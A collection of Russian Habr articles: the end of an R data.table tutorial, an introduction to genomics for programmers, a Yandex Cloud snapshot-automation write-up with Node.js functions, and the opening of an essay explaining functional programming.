Может показаться, что мы поменяли только `DT3`, но `DT2` и `DT3` — это один объект, и, обратившись к `DT2`, мы увидим там новую колонку. Это касается не только удаления и создания столбцов, так как `data.table` использует ссылки в том числе и для сортировки. Так что вызов `setorder(DT3, "a")` повлияет и на `DT2`.
Для создания копии можно воспользоваться функцией:
```
DT3 <- copy(DT2)
DT3[, ac_mult2 := NULL]
```
Теперь `DT2` и `DT3` — это разные объекты, и мы удалили столбец именно у `DT3`.
by — блок для группировки данных
--------------------------------
Этот блок группирует данные наподобие `group_by` из пакета `dplyr` или `GROUP BY` в языке запросов SQL. Логика обращения к `data.table` с группировкой следующая:
1. Блок i фильтрует строки из полного `data.table`.
2. Блок by группирует данные, отфильтрованные в блоке i, по требуемым полям.
3. Для каждой группы выполняется блок j, который может либо выбирать, либо обновлять данные.
Блок заполняется следующим способом: `by=list(переменные для группировки)`, но, как и в блоке j, `list` может быть заменен на точку, то есть `by=list(a, b)` эквивалентно `by=.(a, b)`. Если необходимо группировать только по одному полю, можно опустить использование списка и написать напрямую `by=a`:
```
DT[,.(max = max(c)), by=.(a,b)]
# Для каждого значения «a» и «b» вывести в столбце «max» максимальный «с»
DT[,.(max = max(c)), by=a]
# Для каждого значения «a» вывести в столбце «max» максимальный «с»
```
Самая частая ошибка тех, кто учится работать с `data.table`, — это применение привычных по `data.frame` конструкций к `data.table`. Это очень больное место, и на поиск ошибки можно потратить очень много времени. Если у нас в переменных `DF2` (`data.frame`) и `DT2` (`data.table`) находятся абсолютно одинаковые данные, то указанные вызовы вернут абсолютно разные значения:
```
DF2[1:5,1:2]
## a c
## 1 2 95
## 2 2 94
## 3 2 92
## 4 2 80
## 5 2 65
DT2[1:5,1:2]
## [1] 1 2
```
Причина этого очень проста:
* логика `data.frame` следующая — `DF2[1:5,1:2]` означает, что надо взять первые пять строк и вернуть для них значения первых двух колонок;
* логика `data.table` отличается — `DT2[1:5,1:2]` означает, что надо взять первые пять строк и передать их в блок j. Блок j просто вернет `1` и `2`.
Если надо обратиться к `data.table` в формате `data.frame`, необходимо явно указать это с помощью дополнительного параметра:
```
DT2[1:5,1:2, with = FALSE]
## a c
## 1: 2 95
## 2: 2 94
## 3: 2 92
## 4: 2 80
## 5: 2 65
```
Скорость выполнения
===================
Давай убедимся, что изучение этого синтаксиса имеет смысл. Вернемся к примеру с большим файлом CSV. В `train_DF` загружен `data.frame`, а в `train_DT`, соответственно, `data.table`.
В используемом примере `place_id` является целым числом большой длины (`integer64`), но об этом «догадался» только `fread`. Остальные методы загрузили это поле как число с плавающей запятой, и нам надо будет явно провести преобразование поля `place_id` внутри `train_DF`, чтобы сравнить скорости.
```
install.packages("bit64") # Пакет для поддержки типа integer64
library(bit64)
train_DF$place_id <- as.integer64(train_DF$place_id)
```
Допустим, перед нами поставлена задача посчитать количество упоминаний каждого `place_id` в данных.
В `dplyr` с обычным `data.frame` это заняло 13,751 секунды:
```
count <-
train_DF %>% # Выбираем содержимое train_DF
group_by(place_id) %>% # Группируем по place_id
summarise(length(place_id)) # Считаем количество элементов в группе
```
При этом `data.table` делает то же самое за 2,578 секунды:
```
system.time(
count2 <- train_DT[,.(.N), by = place_id]
# .N - встроенная функция, показывает количество элементов в группе
)
```
Усложним задачу — для всех `place_id` посчитаем количество, медиану по `x` и `y`, а затем отсортируем по количеству в обратном порядке. `data.frame` c `dplyr` справляются с этим за 27,386 секунды:
```
system.time(
count <-
train_DF %>% # Выбираем train_DF
group_by(place_id) %>% # Группируем по place_id
summarise(count = length(place_id), # Считаем количество элементов в группе
mx = median(x), # Считаем медиану x в группе
my = median(y)) %>% # Считаем медиану y в группе
arrange(-count) # Сортируем в обратную сторону по count
)
```
`data.table` же справился намного быстрее — 12,414 секунды:
```
system.time(
count2 <- train_DT[,.(count=.N,
mx = median(x), my = median(y)),
by = place_id][order(-count)]
)
```
Тестовые замеры времени выполнения простой группировки данных с помощью `dplyr` и `data.table`:
Вместо выводов
==============
Это все лишь поверхностное описание функциональности `data.table`, но его достаточно, чтобы начать пользоваться этим пакетом. Сейчас развивается пакет `dtplyr`, который позиционируется как реализация `dplyr` для `data.table`, но пока он еще очень молод (версия 0.0.1). В любом случае понимание особенностей работы `data.table` необходимо до того, чтобы пользоваться дополнительными «обертками».
Об авторе
=========
[Станислав Чистяков](https://xakep.ru/author/stas-chistyakov/) — эксперт по облачным технологиям и машинному обучению.
WWW от автора
=============
Очень советую почитать статьи, входящие в состав пакета:
* [Небольшой обзор](https://github.com/Rdatatable/data.table/blob/master/vignettes/datatable-intro.Rmd)
* [Распространенные вопросы и ответы](https://rawgit.com/wiki/Rdatatable/data.table/vignettes/datatable-faq.html)
WWW от журнала Хакер
====================
Тема языка R не впервые поднимается в нашем журнале. Подкинем тебе еще пару линков на статьи по теме:
* [Анализ данных с использованием R. Часть 1](https://xakep.ru/2015/07/23/data-analysis-r-part-1/)
* [Изучаем R. Часть 2: векторизация и визуализация](https://xakep.ru/2015/04/20/195-learning-r-programming-language/)
* [Программируем на языке R: как правильно писать циклы для обработки больших объемов данных](https://xakep.ru/2016/11/22/loops-in-r/) | https://habr.com/ru/post/316032/ | null | ru | null |
# Введение в геномику для программистов
Об авторе. Энди Томасон — ведущий программист [Genomics PLC](https://www.genomicsplc.com/). Он с 70-х годов занимается графическими системами, играми и компиляторами; специализация — производительность кода.
#### Гены: краткое введение
[Геном человека](https://en.wikipedia.org/wiki/Human_genome) состоит из двух копий примерно по 3 миллиарда пар оснований ДНК, для кодирования которых используются буквы A, C, G и T. Это около двух бит на каждую пару оснований:
3 000 000 000 × 2 × 2 / 8 = 1 500 000 000 или около 1,5 ГБ данных.
На самом деле эти копии очень похожи, и ДНК всех людей практически одинаков: от торговцев с Уолл-Стрит до австралийских аборигенов.
Существует ряд «референсных геномов», таких как [файлы Ensembl Fasta](ftp://ftp.ensembl.org/pub/release-96/fasta/homo_sapiens/). Эталонные геномы помогают построить карту с конкретными характеристикам, которые присутствуют в ДНК человека, но не уникальны для конкретных людей.
Например, мы можем определить «местоположение» гена, который кодирует белок BRCA2, отвечающий за восстановление ДНК при раке молочной железы: [вот этот ген](https://www.ensembl.org/Homo_sapiens/Gene/Summary?db=core;g=ENSG00000139618;%20r=13:%2032315474-32400266).
Он находится в хромосоме 13, начиная с позиции 32315474 до 32400266.
#### Генетические вариации
Люди настолько похожи, что для представления человека обычно достаточно хранить небольшой набор «вариаций».
Со временем наша ДНК повреждается космическими лучами и ошибками копирования, поэтому ДНК, которую родители передают детям, немного отличается от их собственной.
[Рекомбинация](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%BA%D0%BE%D0%BC%D0%B1%D0%B8%D0%BD%D0%B0%D1%86%D0%B8%D1%8F_(%D0%B1%D0%B8%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F)) ещё больше перемешивает гены, так что ДНК ребёнка наследует от каждого родителя смесь ДНК бабушек и дедушек с этой стороны.
Поэтому для каждого изменения нашей ДНК достаточно сохранить только различия от эталонного генома. Обычно они сохраняются в файле VCF (Variant Call Format).
Как и почти все файлы в биоинформатике, это файл типа TSV (текстовый формат с разделением табами).
Вы можете получить собственный файл VCF у компаний вроде *23 and Me* и *Ancestry.com*: платите относительно небольшие деньги и отправляете образец, который секвенируется на ДНК-микрочипе. Он подсвечивает фрагменты, где ДНК соответствует ожидаемым последовательностям.
Сокращённый пример из [спецификаций VCF](http://www.internationalgenome.org/wiki/Analysis/Variant%20Call%20Format/vcf-variant-call-format-version-40/):
```
##fileDate=20090805
##source=myImputationProgramV3.1
##reference=1000GenomesPilot-NCBI36
##phasing=partial
#CHROM POS ID REF ALT QUAL FILTER INFO FORMAT NA00001 NA00002 NA00003
20 14370 rs6054257 G A 29 PASS NS=3;DP=14;AF=0.5;DB;H2 GT:GQ:DP:HQ 0|0:48:1:51,51 1|0:48:8:51,51 1/1:43:5:.,.
```
Здесь у нас три человека с именами NA00001, NA00002 и NA00003 (мы в мире генетики очень серьёзно относимся к безопасности персональных данных), у которых в позиции 14370 хромосомы 20 есть определённые отличия `0|0`, `1|0` и `1|1` от G до A.
На человека приходится два числа, поскольку у всех нас две копии хромосомы 20 (по одной от каждого родителя; исключение составляют только половые хромосомы). Мне не повезло, что у меня только одна Х-хромосома, поэтому я унаследовал дальтонизм от деда через мать).
Возможны такие варианты:
```
0|0 обе хромосомы соответствует эталонному образцу
1|0 и 0|1 только одна хромосома отличается от эталона
1|1 обе хромосомы отличаются от эталона
```
Файлы VCF считаются «фазированными», если можно выяснить, на какой конкретно хромосоме находится вариант или, по крайней мере, где он расположен относительно соседей. На практике трудно сказать, из какой хромосомы произошла ДНК, поэтому приходится строить догадки!
Таким образом, у нас есть битовый вектор `001011`, которого достаточно, чтобы классифицировать трёх людей в этой вариации. Это *гаплотипы* или вариации отдельных хромосом.
#### Исследования GWAS
С помощью этого битового вектора мы можем попытаться выяснить, какие части генома влияют на болезни или другие индивидуальные свойства, такие как цвет волос или рост. Для каждого варианта мы строим гаплотип для измеряемых признаков (*фенотип*).
GWAS (Genome wide association study, полигеномный поиск ассоциаций) является основой генетического анализа вариантов. Он сопоставляет вариации с данными наблюдений.
Например:
```
Haplotype Height Person
0 1.5m NA00001
0 1.5m
1 1.75m NA00002
0 1.75m
1 1.95m NA00003
1 1.95m
```
Обратите внимание, что у каждого два гаплотипа, потому что у нас пары хромосом.
Здесь мы видим, что варианты 1 связаны с более высоким ростом, а значения соответствуют линейной регрессии:
```
beta Изменение роста с изменением вариации.
standard error Показатель погрешности.
```
На практике в данных действительно много шума, а погрешность обычно больше, чем `beta`, но часто у нас есть несколько вариантов, где `beta` намного превышает погрешность. Это соотношение — *Z-оценка* и связанное с ней *p-значение* — показывает, какие варианты с наибольшей вероятностью влияют на рост.
Самый простой способ осуществить регрессию — применить [инверсию Мура — Пенроуза](https://en.wikipedia.org/wiki/Moore%E2%80%93Penrose_inverse).
Составляем ковариационную матрицу 2×2 со скалярным произведением двух векторов, а решаем задачу методом наименьших квадратов.
У нас триллионы точек данных, поэтому важно сделать это эффективно.
#### Проклятие неравновесного сцепления
Поскольку мы наследуем от родителей большие фрагменты генома, то определённые области ДНК выглядят очень похоже: они гораздо более похожи, чем это диктует случай.
Для нас это хорошо, поскольку гены продолжают работать так же, как у предков, но плохо для исследователей геномики. Это означает, что различий недостаточно для определения вариаций, которые вызвали изменение фенотипа.
[Неравновесное сцепление](https://en.wikipedia.org/wiki/Linkage_disequilibrium) (LD) определяет, насколько похожи два вектора с вариациями.
Оно вычисляет значение между -1 и 1, где
```
-1 Совершенно противоположные вариации.
0 Вариации не похожи.
1 Вариации абсолютно одинаковы.
```
Для определения схожести вариаций создаём большие квадратные матрицы LD для определённых мест в геноме. На практике многие из вариаций вокруг этого места почти идентичны варианту в середине.
Матрица выглядит примерно так, с большими квадратами сходства.
```
v0 v2 v4 v6 v8 va vc ve vg
v1 v3 v5 v7 v9 vb vd vf
v0 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v2 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v3 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v4 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v5 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v6 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v7 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
v8 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
v9 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
va 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
vb 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
vc 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
vd 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
ve 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
vf 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
vg 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1
```
Реальные значения не 0 или 1, но очень похожи.
В промежутке между v7 и v8 произошла рекомбинация. Из-за этого v0..v7 отличается от v8..vg.
Проблема сходства в том, что мы знаем, что один из вариантов в группе что-то вызвал, но не знаем, какой.
Это ограничивает разрешение нашего *геномного микроскопа*, и для решения проблемы придётся использовать дополнительные методы, такие как функциональная геномика.
#### Заключение
В конце концов, никогда нельзя быть уверенным на 100%, какой именно участок генома вызвал конкретную индивидуальную особенность, в этом суть генетики. Биология — не точная машина с идеальными деталями фабричного изготовления. Это кипящая масса случайностей, которые каким-то образом создают то, что мы называем жизнью. Вот почему так важна статистика, или «машинное обучение», как теперь её модно называть. | https://habr.com/ru/post/452622/ | null | ru | null |
# Как легко и быстро сделать создание snapshot'ов и их автоматическое удаление
История о том, как у меня была задача на решение которой ушло 2 дня. Обнаружилось несоответствие в документации и реальном мире яндекс облака в Яндекс писалось, но ответа не получилось.
Yandex.Cloud
Задача:
По расписанию, создавать SNAPSHOT дисков в используемых instance. При этом должна быть возможность помечать диски, которые нужно подвергать процедуре резервного копирования, а какие нет.
Подзадачи:
* Snapshot’ы старше n дней должны автоматически удаляться из хранилища. При этом должна быть возможность изменять n.
* Snapshot’ы должны иметь человеко-читаемый вид названия. И соответствовать следующему шаблону:
```
%имя диска оригинала%-дата создания%-%уникальное имя диска%
```
Для того, чтобы в случае необходимости, человеку было очевидно из чего разворачивать новые машины. (в финальном варианте реализовано отдельным bash скриптом исполняемым со сторонней машины).
Ход выполнения:
В Y.cloud нет штатной функции выполняющей подобную задачу.
Решение — реализовать за счет function внутри самого Y.cloud, для экономии ресурсов. Для создания snapshot’ов была написана функция на NodeJS12
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const diskService = new ycsdk.DiskService();
const diskList = await diskService.list({
folderId: FOLDER_ID,
});
for (const disk of diskList.disks) {
if ('snapshot' in disk.labels) {
snapshotService.create({
folderId: FOLDER_ID,
diskId: disk.id
});
}
}
}
exports.handler = handler;
```
\*При вызове данной функции, нужно через окружение передать FODLER\_ID и указать служебную учетную запись.
Далее добавляется вызов данной функции по расписанию. И задача решена.
Подзадача 1.
Первоначально было решено делать через такую же функцию NodeJS12
Логика работы: анализируем дату создания snapshot’a сравниваем с разницей между текущей датой и n и в случае превышения лимита – удаляем.
Для этого, [обращаемся к официальной документации](https://cloud.yandex.ru/docs/compute/api-ref/Snapshot/index) и видим, что параметр CreatedAt должен иметь тип string.
Ок. Пишем функцию, которая удалит snapshot’ы которые моложе 1 часа от рождения (для теста). Запускаем. Получаем ничего. Совсем ничего. Ни ошибки в поле вывода ошибок, но нужного нам действия.
Итерация 1.
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
const date = new Date();
date.setHours( date.getHours() - 1 );
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const {snapshots} = await snapshotService.list({folderId: FOLDER_ID});
for ( let snapshot in snapshots ) {
const dateSnapshot = new Date( snapshot.createdAt );
if ( dateSnapshot.getTime() > date.getTime() ) snapshotService.delete({snapshotId: snapshot.id});
}
}
exports.handler = handler;
```
Итерация 2.
Изменяем функцию так, чтобы она в теле ошибки вывела нам ответное сообщение.
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
const date = new Date();
date.setHours( date.getHours() - 1 );
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const {snapshots} = await snapshotService.list({folderId: FOLDER_ID});
throw Error( JSON.stringify( snapshots ) );
}
exports.handler = handler;
Получаем в ответ ошибку:
«"errorMessage": "[{\"labels\":{},\"productIds\":[],\"id\":\"fd813o0n3p753lhqphie\",\"folderId\":\"b1gfub3omefcfvchsd0f\",\"createdAt\":{\"seconds\":{\"low\":1594137358,\"high\":0,\"unsigned\":false}},\"diskSize\":{\"low\":1073741824,\"high\":0,\"unsigned\":false},\"status\":2,\"sourceDiskId\":\"ef3ivjn6340h9e8incbq\"},…..»
```
Причесав который, мы видим следующее:
```
{
"labels": {},
"productIds": [],
"id": "fd813o0n3p753lhqphie",
"folderId": "b1gfub3omefcfvchsd0f",
"createdAt": {
"seconds": {
"low": 1594137358,
"high": 0,
"unsigned": false
}
```
Отсюда делаем заключение. CreatedAt не строка а, объект.
Итерация3.
Пытаемся работать с CreatedAt. Меняем функцию.
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
const date = new Date();
date.setHours( date.getHours() - 1 );
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const {snapshots} = await snapshotService.list({folderId: FOLDER_ID});
for ( let snapshot in snapshots ) {
if ( snapshot.createdAt.seconds.low > date.getTime() / 1000 ) {
snapshotService.delete({snapshotId: snapshot.id});
}
}
}
exports.handler = handler;
```
Получаем ошибку:
```
{
"errorMessage": "Cannot read property 'seconds' of undefined",
"errorType": "TypeError",
"stackTrace": [
{
"function": "Runtime.handler",
"file": "/function/code/index.js",
"line": 14,
"column": 29
}
]
```
Ошибка говорит нам о том, мы пытаемся взять свойство seconds у несуществующего объекта, хотя ранее мы наблюдали вывод свойств объекта ответа `"createdAt":{"seconds":{"low":1594137358,"high":0,"unsigned":false}}`
Итерация 4.
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
const date = new Date();
date.setHours( date.getHours() - 1 );
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const {snapshots} = await snapshotService.list({folderId: FOLDER_ID});
for ( let i = 0; i < 5; i++ ) {
throw Error( JSON.stringify( snapshots[i].createdAt ) );
}
}
exports.handler = handler;
```
Получаем ошибку:
```
{
"errorMessage": "{\"seconds\":{\"low\":1594137358,\"high\":0,\"unsigned\":false}}",
"errorType": "Error",
"stackTrace": [
{
"function": "Runtime.handler",
"file": "/function/code/index.js",
"line": 13,
"column": 11
}
]
}
```
Сократили цикл до 5 итераций для удобства.
Итерация 5.
```
const ycsdk = require("yandex-cloud/api/compute/v1");
const FOLDER_ID = process.env.FOLDER_ID;
const date = new Date();
date.setHours( date.getHours() - 1 );
async function handler(event, context) {
const snapshotService = new ycsdk.SnapshotService();
const {snapshots} = await snapshotService.list({folderId: FOLDER_ID});
const list = [];
list.push( date.getTime() / 1000 );
for ( let i in snapshots ) {
const d = new Date( snapshots[i].createdAt );
list.push( d.getTime() / 1000 );
}
throw Error( JSON.stringify( list ) );
}
exports.handler = handler;
;
```
Получаем ошибку:
```
{
"errorMessage": "[1594135869.705,null,null,null,null,null,null,null]",
"errorType": "Error",
"stackTrace": [
{
"function": "Runtime.handler",
"file": "/function/code/index.js",
"line": 18,
"column": 9
}
]
}
```
Этот ответ говорит нам о том, что функция Date не смогла распарсить якобы строку свойства createdAt, которая должна содержать дату и время в виде строки, согласно документации.
Итого — в платформе Яндекс Облако найдено еще одно не соответствие документации и реального положения дел. Если у вас стоит такая же задача как у меня, вы можете теперь не тратить на это целый рабочий день. | https://habr.com/ru/post/513884/ | null | ru | null |
# Почему функциональное программирование такое сложное
Я несколько раз начинал читать статьи из серии «Введение в функциональное программирование», «Введение в Теорию Категорий» и даже «Введение в Лямбда Исчисление». Причем и на русском, и на английском. Каждый раз впечатление было очень сходным: во-первых, много новых непонятных слов; во-вторых, много новых определений, которые возникают из ниоткуда; в-третьих, совершенно непонятно, как это использовать.
Самым непонятным и зубодробительным оказалось, наверное, Теория Категорий. Я освоился в ней только с третьего подхода. В первые два раза я честно все прочитал, кажется понял, но т.к. никакой связки с реальной жизнью она не имела, то спустя неделю она благополучно полностью выветривалась.
Попытки использовать как-то в работе изученные концепции разбивались о полное непонимание, как применить полученное глубокое знание. Ведь, напомню, что парадигму ФП (где-то удобнее, где-то не очень, но) можно использовать практически в любом ЯП, совсем необязательно для этого изучать условный Хаскель.
Кому эта статья
---------------
Эта статья для программистов, давно желавших понять Функциональное Программирование, пытавшихся что-то почитать на эту тему и упершихся в стену «да что, это блин за хрень такая, и зачем все так усложнять!?». Поэтому в этой статье я попытаюсь ответить на вопрос «зачем они это придумали», не сильно ударяясь в технические дебри. Я сегодня побуду таким «Робертом Киосаки от функционального программирования», который не столько учит вас ~~финансовой~~ функциональной грамотности, сколько мотивирует ее в себе развивать.
Дисклеймер
----------
Я не претендую на звание эксперта в функциональном программировании или Теории Категорий. Далее в статье я излагаю довольно упрощенный и частный взгляд на довольно нетривиальные вещи. Прошу отнестись с пониманием к неточностям и ошибкам, ведь даже «истина, высказанная словами – есть ложь». Тем не менее я буду рад уточнениям и исправлениям, отправленным в личку.
Зачем нам Функциональное Программирование?
------------------------------------------
Изучение ФП делает разработчика профессиональнее. Я даже не буду приводить ссылки на пруфы, потому что в 2020 это уже просто незыблемая истина.
Функциональные концепции входят во все большее количество современных языков, а некоторые языки так вообще [создаются](https://medium.com/@geisonfgfg/functional-swift-41f1bed646d) сразу функциональными.
Тем не менее уровень входа в ФЯП крайне высок. Иногда настолько высок, что вполне состоявшиеся разработчики с многолетним и успешным опытом не могут освоить его принципы, даже честно пытаясь. Иногда непонимание концепций ФП приводит к анекдотичному причислению некоторых ЯП к числу функциональных лишь на том основании, что в них есть функция map(). Разработчики могут искренне заблуждаться, считая, что они уже освоили ФП.
Что я понял по результатам моих попыток.
----------------------------------------
Есть общая беда всех курсов из разряда «Введение в …» (даже со [смешными картинками](https://habr.com/ru/post/183150/)) – они дают пачку базовых определений, постепенно повышая сложность. «Почему это беда?», спросите вы. Отвечу аналогией: когда вы учите двухлетнего ребенка отличать круглое от квадратного, вы не даете ему геометрической аксиоматики, «что такое прямая», «что такое окружность» и т.п. плавно подводя к определению «шар» и «куб». Вы просто даете ему кубики и шарики и доску с дырками, в которую их надо вставить. Только значительно позже, уже в средних классах, он узнает их формальные определения. Конечно, программист с опытом – не двухлетний ребенок. Но встроенная в каждого человека нейросеть эволюционировала как инструмент обобщения разрозненных примеров в общий абстрактный принцип, а совсем не как инструмент, получающий готовые абстрактные принципы. Обучение на примерах всегда идет быстрее нежели сухое перечисление определений.
### Анекдот:
> – Пап, а как пишется восьмерка?
>
>
>
> – Как "бесконечность", повернутая на пи-пополам».
Аналогично, при чтении очередного определения «монады» через функтор, у меня в голове возникала только одна мысль: вроде все понятно, но непонятно НАХРЕНА. Ощущения примерно соответствуют этой картинке:
Какую задачу они пытались решить, если в условной Java и так все работает без этих ваших всяких монад. Между тем, как будет показано ниже, за каждой очередной функциональной абракадаброй стоит вполне реальная решенная задача, понятная любому программисту с 2-3 летним стажем.
Сначала немного бла-бла
-----------------------
Так уж исторически сложилось, что основная терминология ФП пришла из мира математики. Причем ОЧЕНЬ абстрактной математики. Теория Категорий, разработанная в 1940-х годах – это настолько абстрактная теория, что она полностью оторвана не только от реального мира, но и от многих разделов «обычной» математики. По своей абстрактности она близка к формальной логике «на стероидах».
Хорошая новость состоит в том, что для того, чтобы понять ФП совсем не обязательно начинать (или вообще знать) Теорию Категорий. Я советую сначала разобраться в практике ФП, а потом уже копать в сторону «корней» теоретической основы.
Плохая новость состоит в том, что с этой оторванной от реальности терминологией придется смириться и привыкнуть. Поэтому я буду все время смешивать абстрактные термины с общечеловеческими, чтобы вы к ним привыкали.
Абстрактность
-------------
> Любую архитектурную проблему можно решить введением дополнительного слоя абстракции, кроме проблемы излишнего количества слоев абстракции.
(с) бессмертное
Следуя подходу Теории Категорий «обобщай пока есть что обобщать», в ФП обобщают все что можно. Если что-то можно обобщить или абстрагировать – оно будет обобщено и абстрагировано. В итоге все приходит к условной абсолютно абстрактной «монаде», которая как «Многоликий Будда» не может быть описана одним предложением (хотя ниже я попытаюсь).
Следование этому пути приводит к полному исключению не только дублирования кода, но и дублирования алгоритмов и даже примитивов языка.
* Если ФП-программист видит две функции с циклами внутри, то он пишет одну библиотечную функцию, которая реализует абстракцию «цикл» с параметром «тело цикла». Заодно делая ее таким образом, чтобы вложенные циклы выглядели как параметр для параметра «тело». И т.п.
* Если ФП-программист видит два оператора `if`, то он пишет функцию, которая принимает предикат и возращает монаду, превращая весь код в цепочку вызовов функций `map`.
> Если у тебя из инструментов есть только функции, то рано или поздно все начинает казаться монадой.
(с) мое.
Декларативность
---------------
Сложности с пониманием ФП у «обычного разработчика» во многом обусловлены также необходимостью смены парадигмы императивного программирования на декларативное.
Дело в том, что исторически прямо со времен зарождения программирования все обучение новых программистов ведется на алгоритмах последовательного выполнения инструкций для получения некоего результата – императивном программировании. Императивно устроены большинство и старых, и даже новых ЯП. В противоположность Императивному было разработано Декларативное Программирование, к которому относится в том числе ФП. Не вводя абстрактных определений, просто приведу сравнительную таблицу двух подходов на житейских примерах:
| Решаем задачу | Императивно | Декларативно |
| --- | --- | --- |
| Найти клад | Если на улице дождь, надень куртку, выйди из дома, пройти 100 шагов на север, 200 на восток, возьми лопату, копай пока не наткнешься на клад | Достань подходящим инструментом из земли клад прибыв на координаты (Lat, Lon) в подходящей одежде. |
| Сварить борщ | Помой морковь, почисти лук. Обжарь их на сковороде в подсолнечном масле. Свари бульон на мясе, вынь мясо, положи туда обжаренные лук и морковь. Порежь картофель и свеклу, брось в бульон. Вари 20 минут. | Вари до готовности содержимое кастрюли, наполненной бульоном из-под сварившегося мяса, в которую положил порезанные и чищенные картофель со свеклой и обжаренные в подсолнечном масле порезанные чистый лук и морковь. |
Видно, что наши «программы» отличаются «точкой зрения на проблему». Императивный подход – постепенно конструируем результат от простого к сложному. Первая написанная функция императивного программиста будет «`Чистить(Овощ) = …`». Декларативный – наоборот: начинаем с самого конца, постепенно декомпозируя задачу на более мелкие. Первая написанная функция будет называться «`ГотовыйБорщ = …`».
Но есть еще более существенная разница. Дело в том, что императивная версия программы по поиску клада выполнится корректно только для конкретной начальной точки (хоть метр в сторону – и все было напрасно). А если в процессе варки борща, окажется что нет свеклы, то мало того, что борщ не сварится, так еще и зря пропадут уже порезанные продукты. А при попытке перезапуска процесса варки морковь окажется порезанной дважды. Поэтому основная проблема императивного подхода – большая чувствительность к начальному состоянию и прочим глобальным переменным в процессе исполнения. Что приходится компенсировать бесконечными if-ами, assert-ами, и обмазывать толстым слоем контрактов и тестов.
Может показаться, что я "натягиваю сову на глобус", выставляя декларативное программирование святым граалем. Но истина в том, что за все приходится платить. Основной недостаток Декларативного подхода – это необходимость прописывания всех (вот прям вообще всех, Наташ!) ограничений на все данные на всех этапах обработки – еще до запуска, что повышает сложность на этапе программирования, но отплачивает сполна в процессе работы. Этот полу-магический эффект, «если скомпилировалось, значит работает», [замечают практически все](https://habr.com/ru/post/469441/), кто изучает ФП. Плюс функциональный код легко распараллеливается.
Обработка всех случаев и протаскивание контекста на все уровни создавало бы дикое количество бойлер-плейта в реальных программах. ФП научилось бороться с этим явлением, используя монады, о которых позже.
Чистая функциональная программа – это не поток исполнения (*control flow*), а поток данных (*data flow*), сопровождаемый монадическими Эффектами (о них чуть позже). Программа на чистом ФЯП – это такая многослойная матрешка, которая не делает ничего, пока не начнешь ее раскрывать слой за слоем. В процессе чего из нее иногда будут «вываливаться» Эффекты, сигнализирующие, что что-то там фактически программой было сделано.
Кроме того, декларативный подход «сверху-вниз» позволяет создавать библиотеки невероятной мощности: библиотека выкапывания всего и везде, библиотека варки любых блюд и т.п., которые дают сразу наборы функций из «верхней части» алгоритма (типа «варить до готовности»). Остаётся только дописать «нижнюю» половину – в каком порядке складывать в кастрюлю. Библиотека, работающая с монадами, работает с ЛЮБЫМИ монадами (которые удовлетворяют специальным «законам», общим для всех монад). Это обобщенное программирование, возведенное в Абсолют.
Отмечу также, что приведенные выше примеры – это «сферические кони». На практике даже в императивных ЯП программа пишется, начиная с функции main. И часто дальнейшее проектирование тоже происходит «по-декомпозиционному», т.е. сверху вниз. А опытный программист может написать все в декларативном стиле даже на «голых сях». С другой стороны, и в ФЯП программа, будучи декларативной по своей природе будет все равно чаще всего написана, как цепочка последовательных преобразований данных от начального состояния к конечному. Поэтому все же стоит вспомнить избитый принцип «императивный код определяет, что надо сделать, а декларативный код – что надо получить».
Декларативный язык всегда требует исполнительного механизма (иногда довольно сложного), способного из описания «что надо» понять, "как" это получить. А декларативная программа должна содержать достаточно подробное описание, чтобы исполнительный механизм мог понять, как это сделать. Из этого следует второй большой недостаток ФП: не всегда удается получить производительный код, напрямую используя выразительные декларативные конструкции. В таких случаях приходится вспоминать, что там под капотом, и давать компилятору подсказки по оптимизации либо просто отказываться от красивостей в пользу менее красивого, но более производительного кода.
Примерами декларативных систем и их исполнительных механизмов являются:
| **Декларативный язык** | **Императивный исполнитель** |
| --- | --- |
| Почтовая адресация | Почтальон, навигатор |
| HTML+CSS | Движок рендера в браузере |
| ФЯП | Компилятор языка, генерирующий императивный код для CPU |
| Excel Spreadsheet | Движок вычислений Excel |
| SQL | СУБД |
| ReactJS.Component | ReactJS Library |
Прошу к столу
-------------
Теперь наконец попробуем разобраться в терминах Теории Категорий на понятных условному сишнику/джависту примерах.
* **Категория** – любой примитивный или составной тип данных: строка, число, пара строка-число (кортеж), массив чисел, тип функций (например, функция `IntToStr` имеет тип `Integer -> String`). Функциональные типы (т.е. сигнатуры) – полноценные типы. Можно из них тоже собрать кортеж или сложить в массив. Параметры обобщенных типов (те, которые с дженериками, т.е. в `Array[Int]`, например, `Array` – это обобщённый тип, а `Int` – это его параметр) еще могут быть Ковариантными/Контравариантными/Инвариантными. Эта тема стоит [отдельной статьи](https://habr.com/ru/post/218753/).
+ Важное уточнение: данное тут определение очень вольное. Категория — понятие еще более абстрактное, чем тип. Но для начала понимания, давайте примем пока это упрощение.
